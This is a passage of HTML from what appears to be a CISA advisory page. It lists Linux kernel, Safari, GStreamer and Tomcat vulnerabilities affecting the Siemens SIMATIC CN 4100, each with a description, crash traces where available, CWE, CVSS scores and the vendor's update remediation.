<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39853</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39857</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev-&gt;dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39857">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39860</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) &lt;-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) &lt;-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) &lt;-- last refcnt bt_accept_unlink(sk) &lt;-- UAF Depending on the timing, the other thread could show up in the "Freed by task" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39860">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39864</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f ("cfg80211: track hidden SSID networks properly"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39864">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39865</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --&gt; shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --&gt; tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39865">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39866</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&amp;inode-&gt;i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode-&gt;i_wb spin_unlock(&amp;inode-&gt;i_lock); spin_lock(&amp;wb-&gt;list_lock) spin_lock(&amp;inode-&gt;i_lock) inode_io_list_move_locked spin_unlock(&amp;wb-&gt;list_lock) spin_unlock(&amp;inode-&gt;i_lock) spin_lock(&amp;old_wb-&gt;list_lock) inode_do_switch_wbs spin_lock(&amp;inode-&gt;i_lock) inode-&gt;i_wb = new_wb spin_unlock(&amp;inode-&gt;i_lock) spin_unlock(&amp;old_wb-&gt;list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39866">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40300</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40300">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/402.html">CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-43368</a></h3>
<div class="csaf-accordion-content">
<p>A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-43368">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-47219</a></h3>
<div class="csaf-accordion-content">
<p>In GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-47219">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-48989</a></h3>
<div class="csaf-accordion-content">
<p>Improper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-48989">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC CN 4100</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V5.0 or later version<br><a href="https://support.industry.siemens.com/cs/ww/en/view/109814144/">https://support.industry.siemens.com/cs/ww/en/view/109814144/</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/404.html">CWE-404 Improper Resource Shutdown or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-53057</a></h3>
<div class="csaf-accordion-content">
